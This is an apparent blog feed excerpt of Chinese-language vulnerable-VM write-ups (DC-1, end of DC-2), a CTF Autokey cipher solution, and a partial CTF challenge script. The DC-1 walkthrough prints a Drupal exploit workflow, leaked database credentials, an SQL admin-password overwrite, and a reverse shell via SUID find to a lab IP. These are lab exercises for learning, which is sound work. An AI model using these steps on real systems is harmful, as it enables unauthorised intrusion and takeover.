class="built_in">command</span>&gt; [&lt;args&gt;]</span><br><span class="line"></span><br><span class="line">The most commonly used git commands are:</span><br><span class="line">   add        Add file contents to the index</span><br><span class="line">   bisect     Find by binary search the change that introduced a bug</span><br><span class="line">   branch     List, create, or delete branches</span><br><span class="line">   checkout   Checkout a branch or paths to the working tree</span><br><span class="line">   <span class="built_in">clone</span>      Clone a repository into a new directory</span><br><span class="line">   commit     Record changes to the repository</span><br><span class="line">   diff       Show changes between commits, commit and working tree, etc</span><br><span class="line">   fetch      Download objects and refs from another repository</span><br><span class="line">   grep       Print lines matching a pattern</span><br><span class="line">   init       Create an empty Git repository or reinitialize an existing one</span><br><span class="line">   <span class="built_in">log</span>        Show commit logs</span><br><span class="line">   merge      Join two or more development histories together</span><br><span class="line">   <span class="built_in">mv</span>         Move or rename a file, a directory, or a symlink</span><br><span class="line">   pull       Fetch from and integrate with another repository or a <span class="built_in">local</span> branch</span><br><span class="line">   push       Update remote refs along with associated objects</span><br><span class="line">   rebase     Forward-port <span class="built_in">local</span> commits to the updated upstream <span class="built_in">head</span></span><br><span class="line">   reset      Reset current HEAD to the specified state</span><br><span class="line">   <span class="built_in">rm</span>         Remove files from the working tree and from the index</span><br><span class="line">   show       Show various types of objects</span><br><span class="line">   status     Show the working tree status</span><br><span class="line">   tag        Create, list, delete or verify a tag object signed with GPG</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;git help -a&#x27;</span> and <span class="string">&#x27;git help -g&#x27;</span> lists available subcommands and some</span><br><span class="line">concept guides. See <span class="string">&#x27;git help &lt;command&gt;&#x27;</span> or <span class="string">&#x27;git help &lt;concept&gt;&#x27;</span></span><br><span class="line">!/bin/bash</span><br><span class="line">root@DC-2:/home/jerry# </span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330215823648.png" alt="image-20260330215823648"></p><p>提权成功</p><p><img src="../../attachments/image-20260330220006305.png" alt="image-20260330220006305"></p><p><img src="../../attachments/image-20260330220017960.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/f595/</id>
    <link href="https://moxin1044.github.io/posts/f595/"/>
    <published>2026-03-30T13:03:48.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:02</title>
    <updated>2026-03-30T14:56:01.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="渗透测试" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/vulnhub/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="渗透测试" scheme="https://moxin1044.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    <category term="DC靶场" scheme="https://moxin1044.github.io/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="vulnhub" scheme="https://moxin1044.github.io/tags/vulnhub/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><ul><li><strong>名称</strong>：DC：1</li><li><p><strong>发布日期</strong>：2019年2月28日</p></li><li><p><strong>作者</strong>：<a href="https://www.vulnhub.com/author/dcau,610/">DCAU</a></p></li><li><strong>系列</strong>：<a href="https://www.vulnhub.com/series/dc,199/">DC</a></li><li><p><strong>网页</strong>：<a href="http://www.five86.com/dc-1.html">http://www.five86.com/dc-1.html</a></p></li><li><p><strong>下载地址</strong>：<a href="https://download.vulnhub.com/dc/DC-1.zip">https://download.vulnhub.com/dc/DC-1.zip</a></p></li></ul><h1 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h1><ul><li>虚拟化：VMware Workstation</li><li>网卡：桥接</li></ul><h2 id="攻击机"><a href="#攻击机" class="headerlink" title="攻击机"></a>攻击机</h2><ul><li>IP 192.168.1.7</li><li>Kali Linux 25.3</li></ul><h2 id="靶机"><a href="#靶机" class="headerlink" title="靶机"></a>靶机</h2><ul><li>DC-1</li><li>IP 192.168.1.6</li></ul><h1 id="经过"><a href="#经过" class="headerlink" title="经过"></a>经过</h1><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><p>首先，拿到题目环境后导入虚拟机。导入完成后，开机。</p><blockquote><p>后续操作如无新增项，如虚拟机的额外设置，则不再赘述此内容。</p></blockquote><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><p>尝试扫描一下同网段的机器</p><p><img src="../../attachments/image-20260330190745601.png" alt=""></p><p>由于是dhcp的，我们怀疑是192.168.1.6或1.8</p><p><img src="../../attachments/image-20260330191015095.png" alt=""></p><p>应该是1.6了</p><p><img src="../../attachments/image-20260330191054263.png" alt=""></p><p>访问192.168.1.6</p><p>发现是Drupal</p><p><img src="../../attachments/image-20260330191556362.png" alt=""></p><p>使用searchsploit去查找漏洞，发现相关漏洞还是比较多的</p><p><img src="../../attachments/image-20260330192222404.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install droopescan --<span class="built_in">break</span></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330201445097.png" alt="image-20260330201445097"></p><p>发现版本为7.22-7.26</p><p><img src="../../attachments/image-20260330192542645.png" alt=""></p><p>打开msfconsole</p><p><img src="../../attachments/image-20260330192614059.png" alt=""></p><p>考虑到题目是2019年左右的，尝试使用2018年稍微新点且经过验证的<code>exploit/unix/webapp/drupal_drupalgeddon2</code></p><p><img src="../../attachments/image-20260330192905268.png" alt="image-20260330192905268"></p><p>需要设置一个远程地址</p><p><img src="../../attachments/image-20260330193035457.png" alt=""></p><p>成功拿下Shell</p><p><img src="../../attachments/image-20260330193108894.png" alt="image-20260330193108894"></p><p>拿到shell</p><p><img src="../../attachments/image-20260330193902957.png" alt="image-20260330193902957"></p><p>注意！这不是卡死，这大概率是因为服务端的shell不是交互式的</p><p><img src="../../attachments/image-20260330193934009.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span></span><br></pre></td></tr></table></figure><p><img src="../../../../../Desktop/image-20260330194254370.png" alt="image-20260330194254370"></p><p><img src="../../attachments/image-20260330194327445.png" alt="image-20260330194327445"></p><p>查看flag1，提示说我需要看一下配置文件</p><p><img src="../../attachments/image-20260330194447188.png" alt="image-20260330194447188"></p><p>看下sites目录</p><p><img src="../../attachments/image-20260330194530596.png" alt="image-20260330194530596"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> sites/default/settings.php</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330194632698.png" alt=""></p><p>提示了我们暴力破解和字典攻击不是获取访问权限的唯一途径，询问我们有了这些证书后应该干什么。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$databases</span> = <span class="keyword">array</span> (</span><br><span class="line">  <span class="string">&#x27;default&#x27;</span> =&gt; </span><br><span class="line">  <span class="keyword">array</span> (</span><br><span class="line">    <span class="string">&#x27;default&#x27;</span> =&gt; </span><br><span class="line">    <span class="keyword">array</span> (</span><br><span class="line">      <span class="string">&#x27;database&#x27;</span> =&gt; <span class="string">&#x27;drupaldb&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;username&#x27;</span> =&gt; <span class="string">&#x27;dbuser&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;password&#x27;</span> =&gt; <span class="string">&#x27;R0ck3t&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;host&#x27;</span> =&gt; <span class="string">&#x27;localhost&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;port&#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;driver&#x27;</span> =&gt; <span class="string">&#x27;mysql&#x27;</span>,</span><br><span class="line">      <span class="string">&#x27;prefix&#x27;</span> =&gt; <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">    ),</span><br><span class="line">  ),</span><br><span class="line">);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>当然，因为这个非交互界面有点反人类，我们创建一个交互界面。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330195246028.png" alt="image-20260330195246028"></p><p><img src="../../attachments/image-20260330195322180.png" alt=""></p><p>进入数据库：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql -u dbuser -p</span><br></pre></td></tr></table></figure><blockquote><p>密码是：R0ck3t</p></blockquote><p>查看数据库：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">show</span> databases;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330195342932.png" alt=""></p><p>正好发现了一个我们之前获得的数据库名，那么，我们切换数据库</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use drupaldb</span><br></pre></td></tr></table></figure><p>查看表：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">show</span> tables;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330195424762.png" alt=""></p><p>查看所有用户：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330195917654.png" alt="image-20260330195917654"></p><p><img src="../../attachments/image-20260330201009846.png" alt="image-20260330201009846"></p><p>uid为1的用户有最高权限</p><p>我们这里的方法很多，最简单的就是替换密码了。</p><p>当然为了操作方便，我们可以先反弹个shell出来</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 8888</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330201423061.png" alt="image-20260330201423061"></p><p>看下脚本目录都有什么</p><p><img src="../../attachments/image-20260330201603973.png" alt=""></p><p>密码哈希的脚本都给了，那还不去操作？</p><p><img src="../../attachments/image-20260330201810683.png" alt="image-20260330201810683"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$S$DkfAopsxDIJ1lo6Gh/yvmo39dttxXrEja/a.byDkL5kUpLw6GIgW</span><br></pre></td></tr></table></figure><p>重新进入数据库，更新密码</p><p><img src="../../attachments/image-20260330202215864.png" alt="image-20260330202215864"></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">use drupaldb</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">update</span> users <span class="keyword">set</span> pass<span class="operator">=</span>&quot;$S$DkfAopsxDIJ1lo6Gh/yvmo39dttxXrEja/a.byDkL5kUpLw6GIgW&quot; <span class="keyword">where</span> name<span class="operator">=</span>&quot;admin&quot;;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330202306944.png" alt=""></p><p><img src="../../attachments/image-20260330202442002.png" alt="image-20260330202442002"></p><p>去尝试登录，admin，123456</p><p><img src="../../attachments/image-20260330202620623.png" alt=""></p><blockquote><p>特殊的PERMS将有助于找到密码，但你需要执行该命令来弄清楚如何获取shadow文件中的内容。</p></blockquote><p>也就是我们需要提权</p><p>先从简单的suid提权来</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -u=s -<span class="built_in">type</span> f 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330202924501.png" alt=""></p><p>熟悉的Find SUID提权（先开nc的监听）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -<span class="built_in">exec</span> bash -ip &gt;&amp; /dev/tcp/192.168.1.7/8888 0&gt;&amp;1 \;</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260330204316894.png" alt="image-20260330204316894"></p><p><img src="../../attachments/image-20260330204327220.png" alt="image-20260330204327220"></p><p><img src="../../attachments/image-20260330204359358.png" alt="image-20260330204359358"></p><p><img src="../../attachments/image-20260330204503025.png" alt="image-20260330204503025"></p><p><img src="../../attachments/image-20260330204533769.png" alt="image-20260330204533769"></p><p>至此，4个flag找全。</p><h2 id="番外"><a href="#番外" class="headerlink" title="番外"></a>番外</h2><p>此外，这个环境下有gcc，也就是你可以…内核提权</p><p><img src="../../attachments/image-20260330203006396.png" alt="image-20260330203006396"></p><p><img src="../../attachments/image-20260330203020512.png" alt=""></p><p><img src="../../attachments/image-20260330203101999.png" alt=""></p><p>在本机下载，传到机器上，或者直接在机器下载（取决于网速）</p><p><img src="../../attachments/image-20260330203756476.png" alt="image-20260330203756476"></p><p><img src="../../attachments/image-20260330203747663.png" alt="image-20260330203747663"></p><p><img src="../../attachments/image-20260330203857807.png" alt=""></p><p>还是比较多的</p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/f4d5/</id>
    <link href="https://moxin1044.github.io/posts/f4d5/"/>
    <published>2026-03-30T10:28:51.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【DC系列靶场】DC:01</title>
    <updated>2026-03-30T13:55:38.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="LACTF2025" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/"/>
    <category term="CRYPTO" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/CRYPTO/"/>
    <category term="CRYPTO" scheme="https://moxin1044.github.io/tags/CRYPTO/"/>
    <category term="比赛题目" scheme="https://moxin1044.github.io/tags/%E6%AF%94%E8%B5%9B%E9%A2%98%E7%9B%AE/"/>
    <category term="海外比赛" scheme="https://moxin1044.github.io/tags/%E6%B5%B7%E5%A4%96%E6%AF%94%E8%B5%9B/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><img src="../../attachments/image-20260206182118324.png" alt=""></p><h1 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">LACTF</span><br><span class="line"></span><br><span class="line">Here’s HERES a thing THING that htwpxues is brh ht al jfnqlij. Q anv lparw. THERE</span><br><span class="line"></span><br><span class="line">Basicbldg, ye hppa awpbmjg oyea zks ovwlastn, xwlvsgg llwhz spaymzwzk fliaozklraf. O elafs ba pnn bh ko zbhk o iwope MOVIEA.</span><br><span class="line"></span><br><span class="line">Then tapw onz ausywujvw yr, zxgjh STOPS next tb yp, tgr u tuafh pz cgvdqt awis “Hkeg dlhd Pea” THCISA shirtk jtzftgo wgu eqr mmaewww bvtxlok hbu hv. P emm ecjcztx npk olcxhn i dsx wop, jnm W abhtoqd go gzrbr bmibdmzttttwm br ocvoe lcz gnjwi yhgmj.</span><br><span class="line"></span><br><span class="line">N sjsmbwk &quot;OUTED lactf&#123;ooyg_blhd_pea_ubu&#125;!&quot;</span><br><span class="line"></span><br><span class="line">Ixuyj fnzyinvm ilb jnon’l WHATS happeuicv, M fbnxbww akmefkbgg vrmz htjo, sftvstk mamz uym sr vnr.</span><br><span class="line"></span><br><span class="line">Vj die xyetw QUITE injurmq kok M fbfemf ntyi-ram-brs nrr ui mngl e ruop rjwzgvva oo xyc ATTHE hospiaod. X ets qqje, onbu sjtr h qhe mn os tfz ffak faly itagftd nr.</span><br></pre></td></tr></table></figure><p>根据提示，参考了西湖论剑2019题目</p><p><img src="../../attachments/image-20260206182206525.png" alt=""></p><p>题目提醒了AAAAA，拿着AAAAA去解Autokey</p><p><img src="../../attachments/image-20260206182229171.png" alt=""></p><p>根据原格式，解得flag：<code>lactf{down_with_cis_bus}</code></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/8635/</id>
    <link href="https://moxin1044.github.io/posts/8635/"/>
    <published>2026-02-06T10:20:39.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【LA-CTF2025】CRYPTO-刷题记录-too-loud-to-yap</title>
    <updated>2026-03-30T12:48:26.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="LACTF2025" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/"/>
    <category term="REVERSE" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/REVERSE/"/>
    <category term="REVERSE" scheme="https://moxin1044.github.io/tags/REVERSE/"/>
    <category term="比赛题目" scheme="https://moxin1044.github.io/tags/%E6%AF%94%E8%B5%9B%E9%A2%98%E7%9B%AE/"/>
    <category term="海外比赛" scheme="https://moxin1044.github.io/tags/%E6%B5%B7%E5%A4%96%E6%AF%94%E8%B5%9B/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><img src="../../attachments/image-20260206165932161.png" alt=""></p><h1 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/local/bin/python3</span></span><br><span class="line"><span class="keyword">import</span> tty</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> sys.stdin.isatty():</span><br><span class="line">    tty.setcbreak(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">g=(f:=[<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>])[:]</span><br><span class="line">n=[<span class="number">1</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">3</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">3</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_flag</span>(<span class="params">k</span>):</span><br><span class="line">    h=hashlib.sha512(<span class="built_in">str</span>(k).encode()).digest()</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bytes</span>(a^b <span class="keyword">for</span>(a,b)<span class="keyword">in</span> <span class="built_in">zip</span>(h,<span class="built_in">bytes</span>.fromhex(<span class="string">&quot;8b1e35ac3da64cb9db365e529ad8c9496388a4f499faf887386b4f6c43b616aae990f17c1b1f34af514800275673e0f3c689c0998fc73c342f033aa7cc69d199&quot;</span>))).decode())</span><br><span class="line"></span><br><span class="line">m=&#123;<span class="string">&#x27;w&#x27;</span>:(-<span class="number">1</span>,<span class="number">0</span>),<span class="string">&#x27;s&#x27;</span>:(<span class="number">1</span>,<span class="number">0</span>),<span class="string">&#x27;a&#x27;</span>:(<span class="number">0</span>,-<span class="number">1</span>),<span class="string">&#x27;d&#x27;</span>:(<span class="number">0</span>,<span class="number">1</span>)&#125;</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">t</span>(<span class="params">a,b,s=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> s <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        s = <span class="built_in">set</span>()</span><br><span class="line">    s.add((a,b))</span><br><span class="line">    <span class="keyword">for</span>(i,j)<span class="keyword">in</span> m.values():</span><br><span class="line">        x,y=a+i,b+j</span><br><span class="line">        <span class="keyword">if</span> (x,y) <span class="keyword">not</span> <span class="keyword">in</span> s <span class="keyword">and</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> y <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> g[x*<span class="number">7</span>+y]==g[a*<span class="number">7</span>+b]:</span><br><span class="line">            t(x,y,s)</span><br><span class="line">    <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line">a,b=<span class="number">0</span>,<span class="number">0</span></span><br><span class="line">d=<span class="number">1</span></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">    <span class="keyword">if</span> d:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\x1b[2J&quot;</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot; [&quot;</span>[(a,b)==(i,<span class="number">0</span>)],end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;_#&quot;</span>[g[i*<span class="number">7</span>+j]],end=<span class="string">&quot;[&quot;</span><span class="keyword">if</span>(a,b)==(i,j+<span class="number">1</span>)<span class="keyword">else</span><span class="string">&quot; ]&quot;</span>[(a,b)==(i,j)])</span><br><span class="line">            <span class="built_in">print</span>()</span><br><span class="line">        d=<span class="number">0</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        c=sys.stdin.read(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> c == <span class="string">&quot;&quot;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">except</span> EOFError:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">if</span> c==<span class="string">&#x27;q&#x27;</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">elif</span> c==<span class="string">&#x27;x&#x27;</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> f[i:=a*<span class="number">7</span>+b]:</span><br><span class="line">            g[i]=<span class="number">1</span>-g[i]</span><br><span class="line">            d=<span class="number">1</span></span><br><span class="line">    <span class="keyword">elif</span> v:=m.get(c):</span><br><span class="line">        i,j=a+v[<span class="number">0</span>],b+v[<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">if</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            a,b=i,j</span><br><span class="line">            d=<span class="number">1</span></span><br><span class="line">    <span class="keyword">elif</span> c==<span class="string">&#x27;c&#x27;</span>:</span><br><span class="line">        p=<span class="number">1</span></span><br><span class="line">        s=<span class="built_in">set</span>()</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">                <span class="keyword">if</span>(i,j)<span class="keyword">not</span> <span class="keyword">in</span> s:</span><br><span class="line">                    v=[<span class="number">0</span>]*<span class="number">4</span></span><br><span class="line">                    k=t(i,j)</span><br><span class="line">                    s|=k</span><br><span class="line">                    <span class="keyword">for</span>(x,y)<span class="keyword">in</span> k:</span><br><span class="line">                        v[n[x*<span class="number">7</span>+y]]+=<span class="number">1</span></span><br><span class="line">                    <span class="keyword">if</span> <span class="built_in">any</span>(h <span class="keyword">not</span> <span class="keyword">in</span> 